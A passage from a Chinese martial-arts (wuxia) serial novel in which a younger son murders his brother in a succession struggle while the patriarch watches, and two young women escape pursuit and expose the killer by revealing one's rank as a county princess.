“昨夜山里进了贼,我是听到动静来抓贼的,不料遇到了你们。
至于孟简,老夫可从没有让他**,我也没想到,他会做出这种伤天害理之事。”
纪华筠不相信,“孟简杀了您的两个孙子呀!您怎么一点不见悲伤,还这么……这么无所谓的样子?”
“人,都是会死的。”
孟剑雨望着窗外,幽幽道。
“等你们活到我这个年纪,也会看淡生**。”
这明显就是在忽悠她们!
孟蕊盯着孟剑雨的背影,不知道他说的话,有没有一句是真?
纪华筠还在质疑,“怎么会呢?我若是老了,儿孙满堂,我定然是要为他们的未来筹谋,除非他们做了什么很严重的错事……”
纪华筠双眼一亮,上前一步,兴冲冲地问。
“孟堡主,是不是孟子仁和孟子俊做了错事,所以您让孟简清理门户?”
“清理门户?”
孟剑雨转过头,深深看了纪华筠一眼。
“嗯,这个词用得不错。”
纪华筠追问:“那他们究竟做错了什么?让您一定要杀了他们?”
“太多了,有的人,从出生开始,就是个错误。”
孟剑雨又转回去,继续眺望窗外。
孟蕊和纪华筠对视一眼,她们要逃,肯定是逃不出去的,万一激怒了阴晴不定的孟剑雨,后果会更糟糕
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,除了继续待着这里,好像也没有更好的办法。
孟蕊细细思索孟剑雨的话,他的意思是孟子仁和孟子俊犯了错,所以该死,那年仅七岁的孟子伦呢?
虎毒不食子,孟简为了儿子孟子伦的死,与姜瑶争执,应该不是孟简杀了亲生儿子,孟子伦又是谁杀的呢?
孟蕊索性一问到底。
“孟堡主,听说您最疼爱小孙子孟子伦,为了他修缮院子,亲自去渝州城搜罗好玩的好吃的给他,昨晚他也**,您当真,也不在乎?”
孟剑雨没有回应,沉默不语地望着窗外。
远处山路上的孟家堡护卫,已经走向了树林的方向。
纪华筠也觉得奇怪,“孟子伦才七岁,他总不会犯什么严重到要死的错误吧?”
“哦?那孩子也**?”
孟剑雨面无表情,不甚在意地问。
“凶手是谁,你们可知道?”
“我觉得,凶手肯定不是孟简,他再如何残忍,也不会杀亲儿子,而且他看到孟子伦**很伤心,昨晚追杀我们,还问我们是不是凶手。”
纪华筠有理有据地分析道。
“孟简的夫人说,是孟繁用他的什么宝剑杀的,我觉得也不太可能,孟繁那么胖,他使得动剑吗?”
“嗯,确实胖得一无是处。”孟剑雨望着窗外,嫌恶地皱眉。
孟蕊和纪华筠顺着他的视线望过去,看到原本走向树林的护卫中,最后的几个护卫,簇拥着臃肿肥胖、累得快瘫倒的孟繁,正在往回走。
纪华筠指着孟繁的方向道:“我就说嘛,他胖得像个球,武功都使不出来,怎么去**?”
“身在江湖,使不出武功,杀不了人,那就只能被人杀。”
孟剑雨语气森然,望着远处孟繁的眼中,不带一丝温情,像在看一个陌生人。
“咦?那是孟简也回来了?”纪华筠走近窗边,好奇地去看复返的孟简。
孟繁身材使然,走不动路休息正常,但带队搜捕的孟简,为何也突然回转?
孟蕊被吸引着望过去,然后就震惊地看到,令人惊骇的一幕……
第227章 兄弟相残
远处山路上,孟简独自一人,快步向着被护卫包围的孟繁走去。
“兄长,你没事吧?”
孟简面带关心。
“我都说让你在山下等消息了,你怎还要爬上来?”
坐在地上大口喘气、满头虚汗的孟繁,对他摆了摆手。
“我没事,事关追捕杀了我两个儿子的凶手,我不能什么都不做。”
孟繁喘匀了气,抬头看向孟简。
“林子里血腥气太大,你先带人去找,我在这里坐一会儿就过去。”
他们刚才沿着足迹,进入树林中,发现了好几具孟家堡护卫的尸体,身上都是剑伤,是武功高手所为。
同行的其他人都在林子里搜索,孟繁实在闻不得令人作呕的血腥气,才出来走远些透气。
影山上树木茂密,郁郁葱葱,即使是大晴天,山中依然清凉阴冷。
孟繁从小就不喜欢这种湿润阴冷又黏腻的感觉,要不是为了抓住杀死儿子的凶手,不让杨玄杉那个悍妇瞧不起,他今日是真不想上山。
“阿简,你不用管我,你快回去搜捕凶手,一定要给我的子仁和子俊报仇!”
想到**害的两个儿子,孟繁心如刀割,他不中用,但这两个儿子是他的底气。
孟子仁武功好,孟子俊善经营,孟繁近几年过得舒坦,得父亲看重,少不了这两个儿子的功劳。
“兄长,你要报子仁和子俊的仇,那我们子伦的仇呢?”
孟简站在他面前,居高临下地看着坐在地上的孟繁,声音寒凉。
“子伦他只有七岁,被你的七宝剑杀**,你对此,没有解释?”
“阿简,你还在怀疑我不成?”
孟繁仰起头,失望地看着孟简。
“我已经与你和弟妹都解释过了,我真的不知道是怎么回事,那七宝剑,就放在我书房的架子上,昨晚我也带你们去看过。
剑依然在书房里,没有变动,无人拿走,子伦颈间的伤口,定是有人伪造七宝剑的剑锋造成,为了离间我们兄弟。”
“离间?”
孟简眸光冷厉,带着鄙夷之色。
“我与你这个废物兄长,有什么值得人离间的?”
孟繁愕然张大嘴,“你说什么?你说谁废物?”
“除了你,我的废物兄长,这里还有谁,是个一点用处都没有的废物?”
孟简不装了,对孟繁说话的口气不再恭敬。
“明眼人都看得出来,你根本不配和我争,堡主之位本就该是我的,偏偏你有杨家支持,还有个武功不错的大儿子护着,这才能与我分庭抗礼。
现在,他们都没了,你也该去陪他们了。”
孟简话语中,已然透着杀意,他对孟繁身边的护卫做了个手势,护卫们听命后退,背过身去。
“你、你、你要杀我?!”
孟繁终于意识到,自己的性命堪忧。
他不可置信地指着孟简,又颤抖着手,指向转过身去的护卫,惊恐地问。
“我的护卫,为什么会听你的?”
孟简邪肆一笑,“因为他们懂得,良禽择木而栖的道理,兄长,所有人都知道你是个废物,你,没有前途了。”
“孟简,你混蛋!”
孟繁手脚并用地站起来,慌张无措地往后逃跑。
但他体型臃肿,跑不起速度,被地上的石头一绊,扑倒在地上。
孟简只需快走,就能追上他,“孟繁,你看看你无能的样子,拿什么和我争?”
“阿简,你放过我,我什么都不和你争了。”
孟繁趴在地上,扬着摔红的半边脸,向孟简求饶。
“堡主之位,我让给你,你要什么,我都让给你,我什么都不要了,好不好?”
“我需要你让给我?”孟简冷情嗤笑,“孟繁,你识相点,就自己从前面的悬崖跳下去,别让我动手。”
影山地势陡峭,悬崖随处可见。
孟繁望向前方毫无遮拦的悬崖,心中升起对死亡的恐惧。
“你饶我一命,我立刻下山,今日就离开孟家堡,孟家堡所有的一切都是你的,只求你放过我这一次!”
孟繁一边说,一边向树林的方向望去,期盼着有人能过来救他。
孟简看出他的心思
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,冷笑道:
“别做梦了,跟来的那几个外人,都搜到树林深处去了,带来的护卫,都是我的人,没有人可以救你。”
孟繁脸色发青,他怎么也没想到,这次上山追凶,会要了他自己的命。
“阿简,弟弟,我们是从小一起长大的亲兄弟呀!你怎能如此无情?”
孟繁哆嗦着身体,试图以亲情唤起孟简的良知。
“你想想我们的娘,她年纪大了,要是知道我们兄弟相残,该有多伤心!”
孟简冷硬的脸色微动,“我本不想取你性命,但孟繁,你杀了子伦,无论如何,我都不能放过你!”
“我没有杀子伦啊!”孟繁拼命解释,“你都说我是废物了,我好多年都没用过剑,怎么可能是我杀的子伦?”
“你不行,还可以命令手下去杀呀!”孟简对着孟繁怒吼。
孟繁有口说不清,急得给孟简跪下,“我真没有,你为什么不相信我呢?”
“我说我没杀子仁和子俊,你相信吗?”
孟简这句话,让孟繁脸色唰白。
“孟简你……是你杀了子仁和子俊?”
孟繁如遭雷击,亲弟弟杀了他的两个亲儿子,是比亲弟弟要杀了自己,更无法接受的事。
“为什么?他们也是你的亲侄子啊!你为什么要杀了他们?”
孟繁崩溃大叫,顾不得害怕,扑上前要撕扯孟简。
孟简轻易躲开,让孟繁扑了个空。
臃肿肥胖的身体跌落在草地上,孟繁依然不放弃地扭动着、爬行着,来抓孟简的腿,嘴里反复嘟囔着:
“为什么?你为什么要杀了他们?”
“因为他们,挡了我的路!”
孟简不耐烦地踢出一脚,将孟繁甩开。
孟繁浑圆的身体在草地上滚动,直到撞在一块石头上,才停下来。
孟简走过去,看到孟繁的头撞在了石头上,在石头上留下血迹。
他谨慎地探了孟繁的鼻息,然后徒手拎起孟繁的头,再次撞在了同一块石头上。
一下,两下……
直到孟繁再没有气息……
第228章 戴了绿帽?
孟繁倒下的地方,距离孟蕊所在的木屋,直线距离不到十米。
木屋中的三人,都全程目睹了孟繁被孟简残忍杀死的经过。
当孟繁往木屋方向逃命时,纪华筠就忍不住问孟剑雨。
“孟堡主,孟简好像要对孟繁不利,您不去救他吗?”
孟剑雨但笑不语。
当孟繁跪着求孟简放过时,纪华筠指着孟简催促孟剑雨。
“孟简不会连自己的亲哥哥都要杀吧?孟堡主,以您的武功,现在去阻止还来得及。”
孟剑雨无动于衷。
当孟繁被孟简提着脑袋,接二连三地撞上石头致死时,纪华筠倒吸一口凉气。
“孟简杀了孟繁!他真的杀了自己的亲哥哥!”
纪华筠这次已经不敢再和孟剑雨说话了,她眼神震颤,偷瞄侧前方淡定自若地看着两个儿子自相残杀的魁梧老人,觉得孟剑雨的样子好可怕。
都说虎毒不食子,孟剑雨虽没有出手**,但他坐视不管,任由大儿子被小儿子杀死的作为,让人感到更加残忍。
对于孟繁被害的一幕,孟蕊目不忍视,侧头避开,刚好瞥见孟剑雨脸上浮现一抹诡异又满足的笑意。
孟蕊背脊发寒,联想到孟家堡这几日发生的事,脑中不知怎的,突然闪现二哥孟瑜说过的那句,令人毛骨悚然的话。
“血色雾气,将笼罩整个孟家堡,非孟家子孙,无人生还。”
影山多雾气,蔓延孟家堡,夜晚尤甚。
孟蕊想到那三起**事件,都是发生在有雾的夜晚,与“血色雾气”相呼应。
可是后一句“非孟家子孙,无人生还”,又是何解?
先后**的孟子俊、孟子仁,是孟繁的儿子,最小的孟子伦,是孟简的儿子。
他们都姓孟,都是孟家的孙子,是孟家子孙,按照那句话的意思,不该死的,除非……
孟蕊只觉脑中响起“轰”的一声,心中的震撼无以复加。
反过来想,不是孟家子孙,就要**,那就说明孟子俊、孟子仁和孟子伦,都不是孟家子孙。
按此推论,刚刚**的孟繁,也不是孟家子孙。
等等,这样算起来,孟繁不是孟剑雨的儿子,那孟繁是谁的儿子?
孟繁的生母苗氏,偷人了?
孟蕊呆呆站立在原地,被自己的一系列发现,震惊得久久回不过神。
孟繁不是孟剑雨的儿子,那孟繁的三个儿子孟子仁、孟子信、孟子俊,也都不会是孟剑雨的孙子。
孟简呢?他是孟剑雨的儿子吗?
孟简的儿子孟子伦也**,要么孟子伦不是孟简的儿子,要么孟简不是孟剑雨的儿子。
天呐!孟蕊心中的震惊还在加剧,苗氏生下的两个儿子,不会都不是孟剑雨的种吧?
所以孟剑雨要把他们都杀掉?
这会不会太骇人听闻了?
孟蕊被自己的猜想吓得不轻,整个人都有些不好了。
“你脸色怎么这么白?”
纪华筠关心的话语,在孟蕊耳边响起。
“是第一次看见**?害怕了?”
孟蕊僵硬地扯了扯嘴角,含糊回应:“嗯……是有点怕……”
“没事的,多经历就好了。”纪华筠拍了拍孟蕊的背,似在安慰。
孟蕊并不觉得有被安慰到,**这种可怕的事,能不见,还是不见为好。
孟剑雨斜眼看了下孟蕊,嗓音沉沉道:
“你不如你娘,她从小就天不怕地不怕,调皮得不像个女子,难管难训,每天都在气我。”
若是之前,孟蕊听到自己的娘亲被说,定要反驳,但她现在心中藏着事,生怕一不小心开口,被孟剑雨发现她知道了他的秘密。
一个男人被戴了绿帽,是何等的奇耻大辱!
更何况是孟剑雨,作为江湖名门孟家堡的堡主,将名声和尊严看得很重,若是传出去,他给别人养儿子,孟蕊都不敢想后果。
正当孟蕊心中忐忑不安时,又听见孟剑雨对她说:
“不过,你这性子,倒是有点像你外祖母,她向来是温和的性子,从没与人红过脸。”
说这话时,孟剑雨的语气轻和了许多,带着几分对过去的怅惘。
外祖母,金惜月,孟蕊听娘亲提过,外祖母在世时,孟剑雨称得上是个好父亲。
可惜,有了后娘,就有后爹,苗氏进门后,孟天就没过过好日子。<
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br>孟蕊拿不准孟剑雨对金惜月的态度,只做出依然害怕的样子,倚在纪华筠身边,怯怯望向窗外。
草地上,孟简终于松开死透的孟繁,站起身,接过护卫递来的手帕,擦拭手上沾染的鲜血,由着护卫将孟繁的尸体,扔下了悬崖。
孟蕊望着窗外远处护卫们的动作,不由担心起自己的以后。
孟剑雨看似对她温和,但其真实目的,孟蕊依然看不透。
现在,孟蕊只想等孟简一行人重回树林后,自己和纪华筠向孟剑雨告辞,远离这个可怕的人,返回孟家堡,去找爹爹他们。
正想着,孟蕊突然听到背后传来一声突兀的响声,像是什么铁器转动的声音。
孟蕊和纪华筠转过头,看向声音的来源处,木屋中的布置,一眼就能看完,不在屋内,似乎是来自木屋后面的岩壁中。
“哈哈!成了!”
孟剑雨激动地大笑,吓了孟蕊和纪华筠一跳。
“什么成了?”孟蕊心中闪过不好的念头。
孟剑雨双眼迸射出精光,“试炼成了,孟瑜通过了试炼!哈哈哈!”
“孟瑜他在哪里?”纪华筠急切地问。
“想见他?”
孟剑雨嘴角勾起一抹不怀好意的笑。
“那你们待会儿,大喊他的名字,让他来救你们吧!”
救她们?孟蕊心头一跳,直觉没有好事。
拉着纪华筠,孟蕊就往木屋门外跑,但她们的武功,如何能跑得过有几十年功力的孟剑雨。
刚出了木屋门,还没攀上藤蔓,孟蕊就感觉背后一紧,脚下悬空,耳边传来纪华筠的尖叫。
孟剑雨蒙着面,一手一个,拎着孟蕊和纪华筠的衣领,运转轻功,飞出了木屋。
他将孟蕊和纪华筠,送到了木屋前方的草地上,然后一个飞身,“嗖”的一下,瞬间消失不见。
她们被孟剑雨出卖了!
孟蕊和纪华筠意识到自己的处境时,她们已经踩在有些扎脚的草地上,看着前方还未走远的孟简和护卫一行,默契地扭头就跑。
“抓住他们!格杀勿论!”
孟简带着杀意的怒喝从身后传来,孟蕊只想跑得更快……
第229章 穷追不舍
“去树林!”
孟蕊带着纪华筠,往树林的方向跑,一边跑一边对身后穷追不舍的孟简,掷出两枚飞刀。
“啊!”
孟简没有停止脚步躲避飞刀,而是直接抓过身边的护卫挡刀。
“真是卑鄙无耻!”
纪华筠回头看到孟简把挡刀的护卫甩开,恨恨道。
“孟堡主和孟简这对父子,真是一样的卑鄙无耻!枉我之前还以为孟堡主是个大侠。”
父子?孟蕊在心中摇头,恐怕不是了,但卑鄙无耻是真的。
纪华筠想到把她们出卖给孟简的孟剑雨,就一肚子气。
“孟堡主说要我们喊孟瑜救命?谁知道他有什么阴谋诡计?我偏不喊!气死他!”
“好,人活一口气,咱们就不听他的!”
孟蕊赞同纪华筠的话,今日就算被孟简杀死在这里,是她们技不如人,不能把二哥也拖下水。
“咱们跑快点,去树林里找人,杨玄松和杨玄杉都在那,把孟简杀死孟子俊的事告诉他们,让他们保我们!”
从此处往山下跑,距离太远,肯定会被孟简追上。
而树林离得近,孟蕊刚才听到孟简对孟繁说,其他人都在树林深处搜寻,找到跟来的江湖人士,她们就还有生存的希望。
“不好!孟简要追上我们了!”
纪华筠运用轻功,拉着孟蕊加快步伐。
但她们已经奔波了一夜,现在体力即将耗尽,跑不过武功更高的孟简,每一次回头看,都会惊惧地发现,孟简离她们更近了一些。
孟蕊的目光在周围快速扫过,指着侧前方路边的一块半人高的青石道:
“你松开我,快些跑过去,把那块青石向右放倒!”
纪华筠不疑有他,按照孟蕊的交代,提起一口气,飞跑过去,放倒了青石。
孟蕊见状,立即向左扑倒在地。
“咻!”
“咻!”
“咻!”
数十支箭矢,从右边的岩壁上射出,射向右后方的孟简和护卫一行。
开启机关的纪华筠,和在左前方扑倒的孟蕊,不在箭矢的攻击范围内。
孟蕊抬起头,看到孟简再次把身边的护卫都拿来挡箭,痛呼声此起彼伏。
她连忙手脚并用,快速爬向前方的纪华筠,两人趁孟简抵抗箭矢的功夫,继续向前跑,身后还传来孟简气急败坏的质问声。
“站住!你们究竟是什么人?为何会知道影山的机关?”
没有人搭理他,孟蕊和纪华筠已经跑入树林,循着人声,向树林深处跑去。
不多时,她们看到几个正在树林里搜寻的孟家堡护卫。
“这些护卫,都是孟简的人,咱们绕过他们,去找杨掌门。”
孟蕊和纪华筠放轻了脚步,没有走近那些护卫,尝试从另一个方向绕开。
然而,当她们绕过这几个护卫,继续向前跑时,侧后方传来叫喊她们的声音。
“喂!你们两个!跑那边去干嘛?过来搬运尸体。”
孟蕊侧目望去,在距离她们十几米的右侧林中的地上,躺着好几具身着孟家堡护卫服的尸体,应该是之前在林中和黑衣暗卫打斗的南照人的尸体。
没有看到黑衣暗卫的尸体,是镇北王府的暗卫打赢了?
现在的孟蕊和纪华筠,都还穿着孟家堡的护卫服,被其他护卫远远看到,认成护卫很正常,但只要走近,被人看到她们的脸,很可能会被认出不是孟家堡的护卫。
她们不能过去!
“愣着做什么?过来帮忙!”刚才喊他们的护卫,又对着她们催促叫喊。
孟蕊和纪华筠向前跑的脚步未停,为了不让护卫怀疑,孟蕊用男声对护卫喊道:
“你们先忙,大爷身体不适,二爷让我们去找大夫人过去看看,你们见过大夫人吗?”
这个理由很合理,那护卫信了,还好心地给孟蕊指了方向。
“大夫人就在那边,你们快去快回。”
“多谢!”
孟蕊朝护卫挥了挥手,跑得更快了。
在她们身后十米开外,孟简也已经进入树林,追了上来。
孟简虽用身边的护卫挡住了箭矢,却一个不慎,腿上被飞来的箭矢划破了一道伤口。
他将腿部的伤口简单包扎,继续不停追击,远远听到孟蕊向护卫问询杨玄杉的所在,孟简立刻知道了对方要做什么。
“蠢货!那两个就是让你们上山搜捕的凶手!
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还不快给我把他们抓起来!”
孟简忍着腿痛,用轻功飞到护卫近处,对周围的所有护卫下令。
“所有人!全都给我去抓他们!”
护卫们一怔,立即领命,齐刷刷拔出刀剑,向着孟蕊和纪华筠追去。
“站住!站住!”
“他们是凶手!”
“快抓住他们!”
……
听到身后此起彼伏的叫喊声,纪华筠咧嘴笑得欢快。
“太刺激了!我觉得我像个特别厉害的江洋大盗!他们想抓但就是抓不到我!”
孟蕊没空理会纪华筠发疯,以最快的速度跑着,视线在林中四处搜寻杨氏兄妹的踪影。
“在那边!”
孟蕊指着前方不远处的杨玄松,惊喜不已。
“咻!”
一支箭,带着呼啸风声,从身后射来。
“小心!”
纪华筠拽着孟蕊往左侧躲入一棵树后,长箭射入树干,箭羽还在轻轻震颤。
“他们要**灭口!”
纪华筠正了神色。
“你先跑,去找人,我给你断后。”
“咻!”
“咻!”
箭还在不断射来。
孟蕊拉住纪华筠,“别冒险,等我一下。”
孟蕊深吸一口气,对着后面正在逼近的孟简和护卫们大喊:
“孟剑雨、孟堡主还活着!他没有死!快回头!他此刻,就在你们身后!”
孟剑雨积威尚存,射箭的护卫们,被孟蕊这番**复活的言语惊住,动作一顿,其中的不少人,都忍不住回头观望。
“趁现在!快跑!”
射来的箭停止了,孟蕊和纪华筠继续往前跑。
“混蛋!人都跑了,还不快追!”
孟简脸色铁青,催促着护卫们去追,自己忍着腿疼跟在后面。
而孟蕊和纪华筠,终于找到了杨玄松,旁边还有另几个跟来帮忙搜寻的江湖人士。
纪华筠喘着粗气,迫不及待地大声告状:
“杨掌门,各位大侠,孟简就是杀害孟子俊和孟子仁的真凶!
刚才在树林外,他还亲手杀**孟繁,我们都看见了!
他现在想要杀我们灭口!求杨掌门和大侠们救命啊!”
第230章 倒打一耙
纪华筠的声音响亮,寥寥数语,就将孟简做下的恶事,抖落了干净。
周围听到动静的江湖人士和孟家堡护卫,纷纷围了过来。
杨玄松眉头紧皱,盯着纪华筠问:
“你说什么?孟繁**?”
“没错,就在树林外面不远,孟简说孟繁挡了他当堡主的路,用石头把孟繁砸**。”
纪华筠简要描述了孟繁**的经过,怕他们不信,特别强调:
“尸体被丢下了悬崖,我可以带你们去看,血迹都还在呢。”
杨玄松还想问什么,杨玄杉急冲冲跑过来,一把抓住纪华筠的胳膊,急促地问:
“你刚刚还说了什么?谁是杀害我儿子俊的凶手?是谁!”
“是孟简!是他杀了你儿子!”
纪华筠看着突然冲过来的杨玄杉,心中一喜,连忙说。
“杨女侠,我昨晚亲耳听见,孟简和同伙商议计策时承认,是他为了孟家堡的堡主之位,杀了你儿子孟子俊,还有孟子仁,千真万确!”
当孟简带着护卫赶到时,纪华筠这句话刚好说完。
众人眼神各异,看向风尘仆仆的孟简,小声议论起来。
“孟简居然就是杀了两个侄子的真凶,真是知人知面不知心呐!”
“何止,他为了当堡主,还杀了孟家大爷,太残暴了!”
“我早就有所怀疑,孟子俊和孟子仁**,孟简就是最大的受益者。”
……
杨玄杉拔出了佩剑,愤怒指向孟简,“我就知道是你!孟简,你杀了我儿!还有何话说?”
“嫂子,你不要听这两个贼人胡说八道,他们才是**凶手!”
孟简不惧杨玄杉的剑,瞪着孟蕊和纪华筠,对身后的护卫下令。
“来人!快把这两个**凶手拿下!”
“是!”护卫们手持武器,一步步逼近孟蕊和纪华筠。
“孟简,你才是**凶手!”
听到孟简倒打一耙的指控,纪华筠气得跳脚。
“你不但杀了你的两个亲侄子孟子俊和孟子仁,刚刚又砸**你的亲哥哥孟繁,你个人面兽心的畜生!还不快快认罪伏法!”
孟蕊则对着逼近她们的护卫们,大声疾呼:
“兄弟们,你们都被孟简骗了!他根本不把你们当人看,只把你们当做挡刀挡箭的靶子。
帮他一起杀了孟繁的几个护卫兄弟,全都因为他**!尸体就在树林外!
我说的都是真的!你们只要走出树林,就能看到!他们被孟简杀死,死不瞑目!”
树林外纪华筠开启的机关箭矢,攻击范围有限,明明退回去就可以躲过。
但孟简为了追她们,硬是不许护卫后退,还拿护卫挡箭,不把人命当回事,令人发指。
护卫们听到孟蕊的话,不自觉顿住脚步,面面相觑。
有几个人小声讨论着,跟着出去的几个护卫,确实没有回来。
护卫也是人,也都怕死,当灾祸降临到同伴身上时,难免人人自危,对孟简的服从中,也会生出异心。
“你们够了!”
孟简眼神阴毒,如毒蛇吐信,凝视孟蕊和纪华筠。
“不但诬陷我杀害至亲,还污蔑我残害手下,挑拨离间,无耻至极!”
“无耻的人是你!”
纪华筠忍不了一点,当即反驳。
“就是你杀了他们!你的袖口,还粘着你亲哥的鲜血呢!”
孟简心中一惊,下意识往自己的袖口看。
纪华筠得逞道:“大家快看,他承认是他**了!”
“是你杀了我儿!我要你偿命!”
杨玄杉挥剑就要刺向孟简,被赶来的杨玄松挡住剑锋。
“妹妹,切勿冲动,先听听孟简怎么说。”
孟繁**,孟家堡以后几乎是孟简的天下,他们凌剑山庄要谨慎行事。
“诸位,我是被冤枉的!”
孟简眼底闪过一抹心虚,声音却十分坚定。
“是这两个贼人,杀了我的兄长和侄儿,还有我的儿子!”
他指向孟蕊和纪华筠。
“他们昨晚还想偷袭刺杀我,被我打败后,一路逃进影山,他们才是罪大恶极的真凶!”
孟简说得慷慨激昂,一脸大义凛然地对着众人抱拳。
“诸位,在下昨晚遭**杀之事,早已告知,召集大家今日一起上山,就是为了抓捕这两个穷凶极恶的凶手。
现在,他们被我逼入穷巷,狗急跳墙,竟编造毫无根据的说辞,诬陷我是凶手,根本立不住脚!”
孟简说着,逐渐露出伤心懊悔的神情。
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>“就在刚才,我心中挂念在树林外休息的兄长,去找兄长说话,不料,竟看到这两个恶贼,杀了保护兄长的护卫,还要去抓兄长。
兄长为了逃避他们的魔爪,慌乱中竟然掉下了悬崖!是他们害**兄长!”
说到动情处,孟简还落下了两滴不轻弹的男儿泪。
周围响起惊讶的抽气声,有人惊呼:
“竟是他们逼迫孟大爷致死?”
“正是!”孟简继续一本正经地说着谎言,“我来不及救下兄长,悔恨不已,一心只想为兄长报仇,与他们打斗起来,腿还受了伤。”
孟简伸出腿,将腿上沾了血迹的伤处给众人看,以证实自己所言的可信。
“我一路追着他们到了林中,不想被他们颠倒黑白,混淆是非,反诬我是凶手,简直人神共愤!”
众人被孟简的这番情绪激昂又满怀伤感的话语震慑住,加之孟简流下的眼泪,以及他从前对外展现的正直良善的人品,很难让人相信,孟简会是一个弑兄杀侄的残忍凶手。
反倒是孟蕊和纪华筠,这两个穿着孟家堡护卫服、身份不明的人,看起来更加可疑。
围在周围的人群中,又是一波交头接耳的议论。
“孟二爷这话,也说得通啊,他向来仁善,不会弑兄杀侄。”
“我也相信孟二爷,这两个贼人,连身份都不明说,肯定不是好东西!”
“要说孟简杀其他人我信,但虎毒不食子,昨晚他亲生儿子也**,他不会是凶手。”
……
孟简很满意众人的反应,他义正言辞地号召:
“诸位,事实已清楚,请诸位明辨是非,切勿相信奸人谎言,与我一同,将这两个不明身份的奸邪铲除!”
护卫们将孟蕊和纪华筠包围,不少在场的江湖人士,也将手中武器都对准了她们。
“谁说我们身份不明?”
孟蕊突然开口,用的是柔婉的女声。
“你是女的?”包围的人群中,发出惊讶的嘘声。
孟蕊手心紧张得全是汗,依然故作镇定地将脸上伪装的胡须撕下,露出原本柔美白净的脸庞。
她冷淡的眉眼,扫过在场众人,沉稳从容道:
“我乃当今圣上亲封的瑞嘉县主,你们岂敢动我?”
第231章 表明身份
人群中发出嗤笑:
“瑞嘉县主?那是什么?”
“咱们江湖之中,可不认什么县主公主。”
“就是,咱们只认谁的拳头硬,谁理朝廷那帮走狗!”
……
孟蕊微微一笑,对着人群朗声道:
“普天之下,莫非王土,孟家堡地处渝州,置有良田千亩、商铺数十间,均属渝州府衙管辖。”
她话锋一转,定定看向孟简。
“孟二爷,你若是动了本县主,就是挑战天家威严,朝廷定会全国通缉,捉拿你归案。
纵使你武功高强,可以逃脱朝廷重兵捉拿,但孟家堡挪不走,你岂不是白忙活一场?”
不管这些江湖人士如何嚣张,先拿县主和朝廷的名头威慑他们,分而化之,孟家堡护卫中,总有怕死不敢上前动手的。
孟蕊话语中,威胁意味明显,只要孟简敢动她,便是谋害县主,挑战天威,孟家堡的豪宅华屋、良田商铺,都会被朝廷查抄。
孟家堡都不存在了,这些听令于孟简的护卫,还为谁卖命?孟简又争当什么堡主?
“瑞嘉县主?”
孟简紧皱着眉,盯着孟蕊的脸,神色晦暗。
“你若真是县主,为何为出现在我孟家堡的后山?我看你是胆大包天,冒充身份,妄图逃脱**罪责!”
眼看孟简又给她们泼脏水,纪华筠受不了了。
“瑞嘉县主是谁,你们都不知道?”
纪华筠响亮的声音,陡然拔高,如金石交鸣,吸引众人看向她。
“瑞嘉县主,随母姓孟,名蕊,是陛下亲口认证有救驾之功的二品诰命夫人孟天女侠的女儿,她的父亲,就是谢清源谢大人啊!你们不是都见过吗?”
孟蕊的身份被公之于众,周围的孟家堡护卫和江湖人士们,都为之一震。
“她是孟天和谢清源的女儿?那不就是已故孟堡主的外孙女?”
“这么算来,是孟二爷的外甥女了?孟二爷是她舅舅?”
“她外祖父**,跟着父亲赶回来奔丧,也合理。”
“我就说她看着有些眼熟,昨日跟在谢大人身后的是不是她?”
“那她说孟二爷杀了孟大爷,岂不也可能是真的?”
……
孟蕊落落大方地站着,客气微笑,迎接周围肆意打量和指点的目光。
“我自小生活在京城,闺阁女子,规矩繁多,女扮男装,是为了出行方便,并不是有意欺瞒,请诸位见谅。”
孟蕊温温柔柔的嗓音,令人如沐春风,周围的护卫们,都不自觉把手中武器往后收了收。
“本来,我跟随父亲到达孟家堡后,该表明身份,可是突然发生了孟三公子遇害之事,好生可怕,父亲还因会混元裂空掌,被怀疑是凶手。
为了我的安全考虑,父亲让我暂时不要对外表明身份,所以我便一直做男子装扮。”
孟蕊轻巧的几句话,就把她隐瞒身份的事,合情合理地解释了清楚,周围的人们,没有再为此质疑她。
“你真是孟天的女儿?”杨玄杉走近孟蕊,端详着孟蕊的脸。“确实有几分像谢清源。”
“见过父亲和我的人,都这样说。”孟蕊淡笑道。
杨玄杉身后跟着的杨玄松,盯着孟蕊的脸,沉默不语,但眉头皱得能夹死苍蝇。
“请让一让,金老爷子要见县主。”
随从开道,金老爷子从人群最后走了进来。
金老爷子金秉星年事已高,不愿参与孟家堡这些乌七八糟的事,跟着上山,只是卖孟家堡一个面子,顺便欣赏一下影山独特的风景。
所以他一直走在最后,看到护卫们围上去,也一直站在外边,直到听见他们要捉拿之人,竟自称孟天的女儿,金老爷子才动了念。
“你就是小天的闺女?都长这么大了?”
金老爷子看着孟蕊,有些恍惚。
“你娘呢?她没有来?”
“晚辈孟蕊,见过金老爷子。”
孟蕊对着金老爷子恭敬行了个晚辈礼。
“晚辈是随父亲一起来的,娘亲她是否会来,我不清楚。”
娘亲隐藏身份混进孟家堡,孟蕊也不知道娘亲现在是什么样子,只说不知,以免误了娘亲的事。
算起来,金老爷子是孟天生母金惜月的兄长,孟蕊该叫他一声外舅公,但娘亲和爹爹不
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在身边,她不好擅自认亲。
要是像和孟剑雨那样带有仇怨的关系,她认了亲,反而不妙。
“唉,你娘性子倔强,可孟堡主都不在了,早年间的恩怨,该放下了。”
金老爷子叹着气,为孟天没能来感到惋惜。
他在江湖中大半辈子,见多了恩怨情仇,是真心想让孟天放不下恩怨,以后活得畅快些。
孟蕊没有接话,只客气笑了笑。
未经他人苦,莫劝他人善,在孟蕊看来,她娘亲不想原谅,就不原谅,没有任何问题。
而且,要不是被孟剑雨出卖,孟蕊和纪华筠刚才不会陷入险境,被孟简带人追杀,孟蕊都不想原谅那个可恶的老头!
看到孟蕊和金老爷子聊到一处,孟简觉得非常刺眼。
“金老爷子,此女诡计多端,阴险狡诈,当心被她蒙蔽!”
“孟简,你到现在还要怀疑我的身份作假?”
孟蕊也不是好脾气的,被孟简追杀了一晚上,本来就又累又烦,憋了一肚子气。
“要证明我的身份,又有何难?我们只需即刻下山,一起去见我父亲谢清源,立刻就见分晓!”
金老爷子点头称是,“确实,去见过清源,一切便都清楚了。”
“那我们这便出发下山吧。”见到父亲,正是孟蕊想要的。
孟蕊正要向前走,却看到孟简一动不动地站在前方,面色阴沉,没有丝毫要让路的意思。
“我说过了,此女阴险狡诈,假冒身份,更是杀了我孟家四人的凶手,罪当万死!”
孟简满身戾气,发红的眼眶中是不再掩饰的杀意。
“来人,把她给我就地正法!”
“孟简,你疯了!”
金老爷子挡在孟蕊前方。
“孟蕊的身份待下山后自有定论,你现在杀她作甚?”
